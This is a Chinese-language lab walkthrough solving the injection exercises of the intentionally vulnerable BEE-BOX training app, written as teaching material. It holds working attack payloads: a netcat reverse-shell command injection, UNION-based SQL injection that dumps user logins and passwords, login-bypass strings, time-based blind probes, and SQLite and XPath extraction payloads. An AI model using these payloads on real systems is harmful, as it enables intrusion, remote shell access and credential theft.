0x00 Preface [前言/简介]
接着上一篇文章,更新BEE-BOX第一章A1题目,有不理解这些靶机是哪儿的小伙伴,传送门:新手入门靶机BEE-BOX教程—环境搭建(一)
0x01 BEE-BOX习题:A1-Injection原理
今天所更新的是A1,关于注入漏洞。在A1中有HTML页面注入、OS命令注入、SQL注入等比较经典注入。
我们在学习的时候,首先要先理解他们的原理,这些漏洞是怎么来的,怎么进行触发,危害有多大。
SQL注入跟HTML页面注入原理请移步:https://www.cnblogs.com/cooper/archive/2010/03/23/1692792.html
OS命令注入请移步:https://baijiahao.baidu.com/s?id=1652954272634233653&wfr=spider&for=pc
注:本文尽量寻找通俗易懂原理,如果有不清楚等地方,可以看着靶机进行走一遍,我所做的靶机题目都是属于LOW,请大神勿喷。
0x02 A1-Injection习题
1、HTML Injection - Reflected (GET)
核心代码:
在表单提交没有对用户输入的数据进行处理,并且在echo 的时候没有处理就打印到页面,如果我们输入:点击,效果如下:发现在First name里面变成了链接。
2、HTML Injection - Reflected (POST)
跟第1题是一样,只不过是将GET换成POST,效果依然是一样,输入点也是一样。只不过参数一个是以GET方式输出,一个是POST方式输出,如果有不懂GET、POST意思的,请移步:https://blog.csdn.net/vikeyyyy/article/details/80655115。
3、HTML Injection - Reflected (URL)
查看代码发现接受的参数来自请求头HOST和URL,那么我们可以构造一下参数,在HOST或者URL也可以。
核心代码:
效果如下:
4、HTML Injection - Stored (Blog)
核心代码:
将数据存储到数据库中,形成存储型页面注入,老规矩,插入点击就完事。
5、iFrame Injection
核心代码:
输出的时候没有做任何过滤,可以直接在ParamUrl输入https://www.baidu.com,效果如下:
6、LDAP Connection Settings
需要自搭环境,懒得搞,参考文档:https://blog.csdn.net/u011774239/article/details/51258685,搭建好后连接LDAP,然后参考文档:https://blog.csdn.net/qq_19876131/article/details/50577355
7、Mail Header Injection (SMTP)
Emmmm.....这题,没成功过...还是给思路吧(相信各位的动手能力很强,可以自行解决)...参考文档:https://www.freebuf.com/articles/web/14918.html
8、OS Command Injection
核心代码:
直接使用shell_exec()函数不做任何过滤,好家伙,那就直接淦。效果如下:
9、OS Command Injection - Blind
同一种类型的漏洞就不贴代码了,来来回回都是这样。目前这个是是属于无回显的漏洞,直接用VPS连接反弹shell吧,省事。
靶机:127.0.0.1;nc -e /bin/sh IP PORT
VPS:nc -vv -l -p PORT
效果如下:
10、PHP Code Injection
核心代码:直接使用eval()函数,没有做任何过滤。
效果如下:在message参数中直接使用万能phpinfo();
11、Server-Side Includes (SSI) Injection
原理请移步:https://blog.csdn.net/weixin_33757609/article/details/93613677,当发现目标站点可以根据你的输入生成shtml、stm、shtm文件就可以尝试一下。
核心代码:line变量的值使用firstname、lastname变量等拼接而成,当打开ssii.shtml页面时,将Line的值写入,那么一旦我们将firstname、lastname的值写出符合ssi语法,shtml就会执行解析,实现ssi注入。
效果如下:
11、SQL Injection (GET/Search)
SQL注入后续的比较多,但是基本相同,重要的还是找出注入点在哪儿,所以这儿打算只贴出一次源代码,除非遇到不一样的,后续将源代码贴出来学习。
核心代码:直接使用title变量进行查询,没有做任何过滤。
效果如下:使用单引号进行查看是否存在sql注入,发现报错后,进行手工或者使用sqlmap工具一把搜。
手工语句如下:
1' order by 10# 爆字段
1' union select 1,2,3,4,5,6,7# 爆表
1' union select 1,database(),3,4,5,6,7# 爆数据库名
1’union select 1,database(),version(),4,5,6,7# 爆版本、数据库名
1' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()# 爆数据表
1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'# 查看users表的所有列
1' union select 1,login,password,4,5,6,7 from users# 查看users表里的login、password列信息
效果如下:直接爆账号密码
12、SQL Injection (GET/Select)
注入点如下:(注:url里的movie参数会自动变成数字,这道题是数字型注入,参数movie=1需要改成-1,因为第一条数据查不到,第二条才能显示出来了),数字型注入跟字符型注入请移步:https://www.cnblogs.com/aq-ry/p/9368619.html
13、SQL Injection (POST/Search)
这道题是POST注入,跟GET一样,只不过是获取参数不同,直接套GET的就ok了,只是多了需要用BP抓包。
14、SQL Injection (POST/Select)
跟上面的一样,只不过是数字型注入,如果不懂,请看看GET注入字符型跟数字型注入
15、SQL Injection (AJAX/JSON/jQuery)
需要抓包才能显示,老规矩吧,上工具走一波就完事。
16、SQL Injection (CAPTCHA)
这题需要输入正确的验证码,进去之后抓包工具走一波。
17、SQL Injection (Login Form/Hero)
看到登录框存在sql注入,必须万能密码走一波。
uesrname: admin
password: admin' or '1'='1
username:admin' or '1='1'#
password:aaa
核心代码:简单粗暴
效果如下:
18、SQL Injection (Login Form/User)
直接上工具吧。可能新手有一个疑问,为什么跟上一题都一样,这个不能用万能密码呢?
核心代码:查看源代码发现跟上一题不一样,没有上一题简单粗暴。通过代码我们可以看到:先判断是否存在登录名,然后取出用户名的数据,对密码进行校验,导致无法使用万能密码,因为使用了就算对得上账号,下一步对密码进行校验也会错误导致登录失败。
19、SQL Injection (SQLite)
查看源代码发现跟GET差不多,用的查询都是一样,直接上工具跑吧。
20、Drupal SQL Injection (Drupageddon)
这题难度说高很高,想要分析漏洞的话,说低也低,无脑CVE-2014-3704打一波,这儿就不演示了。
21、SQL Injection - Stored (Blog)
这个压根就跟HTML Injection - Stored (Blog)这道题是一样的,走工具吧。
22、SQL Injection - Stored (SQLite)
这道题没啥思路,单引号测试也没用,输入啥就输出啥,工具跑也不行。找百度看了一下,需要用到sqlite语句跟常用payload。直接贴出。
12','');
12',sqlite_version());
12',(select login||":"||password from users)) -- -
23、SQL Injection - Stored (User-Agent)
这题是在User-Agent,我们找到注入点User-Agent就可以了。
核心代码:
24、SQL Injection - Stored (XML)
这题还是使用简单粗暴的工具跑吧,将bee改成*跑就可以了。本来这道题涉及到XXE,但是这里只是讲述SQL注入。
24、SQL Injection - Blind - Boolean-Based
布尔注入,非真既假,走工具吧。
核心代码:sql语句一样,跟之前的,但是一旦报错那些就回显Incorrect syntax detected!
25、SQL Injection - Blind - Time-Based
时间注入,emmm....遇到最害怕的就是时间注入了,太慢了...走工具或者手工。
提供一下手工注入判断语句,其他的表哥们自己找吧:
Man of Steel' and if(1=1,sleep(5),1)#
Man of Steel' and if(1=2,sleep(5),1)#
如果存在注入,1=1中的sleep(5)将会生效,返回数据会延迟5秒;命令1=2中的sleep(5)不会生效,返回数据的延迟不会延迟5秒。
26、SQL Injection - Blind (SQLite)
这道题也是使用工具跑。跟布尔一样,非真既假。
27、SQL Injection - Blind (WS/SOAP)
使用工具跑吧= =
28、XML/XPath Injection (Login Form)
核心代码:发现是通过读取heroes.xml文件的内容, 并且通过xpath寻找用户的账户和密码来验证登录,打开passwords/heroes.xml发现是一个xml文件,里面包含了账号密码。
XPATH原理请移步:https://www.cnblogs.com/zhangtaotqy/p/8778444.html
效果如下:
账号密码:1' or '1'='1,单引号进行闭合
29、XML/XPath Injection (Search)
核心代码:也是使用xml文件进行读取,查看passwords/heroes.xml文件发现里面包含账号密码。
源代码里没有做任何过滤,构造payload:')]/password | a[contains(a,'
')]主要是闭合[contains(genre, '$genre
/password表示从根节点选择password字段
|表示两个节点的集合
a[contains(a,'用于闭合')]/movie
效果如下:
0x03 summary 总结
Bee-box里的A1已经全部搞定了,做的我都要吐了,很多都是直接懒得搞直接跳过的,因为个人觉得来说,就像是sql注入,除了过滤需要手工绕过,大部分都是直接sqlmap工具一把梭。
刚开始学这个的时候也找了好多资料,感谢网上的各位表哥无私的分享,如今将其整理出来也是为了资料笔记整理吧。
我们做靶机练习的时候,建议先了解原理,当原理懂了之后一边做一边思考为什么会有这种漏洞,源代码一开始看如果吃力也可以暂时不学,但是后面还是得接触到。
就像如果有参数交互的,我们可以尝试SQL注入,遇到输出的尝试XSS(后续会说到),毕竟来说靶机就像是考试开卷考,答案直接找就完事,但是实战不是,实战会遇到很多问题,如waf、防火墙等问题需要解决,但实战也是基于基础上的一种进阶,只有我们基础上牢固了,我们才能想办法想思路去绕过那些。
本篇文章也只是作为一个抛砖引玉,如果你有更好的方法,也可以告知一下我们。文章有任何错误需要改正的,麻烦各位表哥纠正一下,一起学习,共同进步,感谢各位表哥。
0x04 结束语
感谢大哥们的对NOVASEC的支持点赞和关注,加入我们与萌新一起成长吧。
如有任何问题、建议、投稿请加NOVASEC-MOYU,以方便及时回复。
如果需要靶机,后台回复”小蜜蜂”即可获得资源。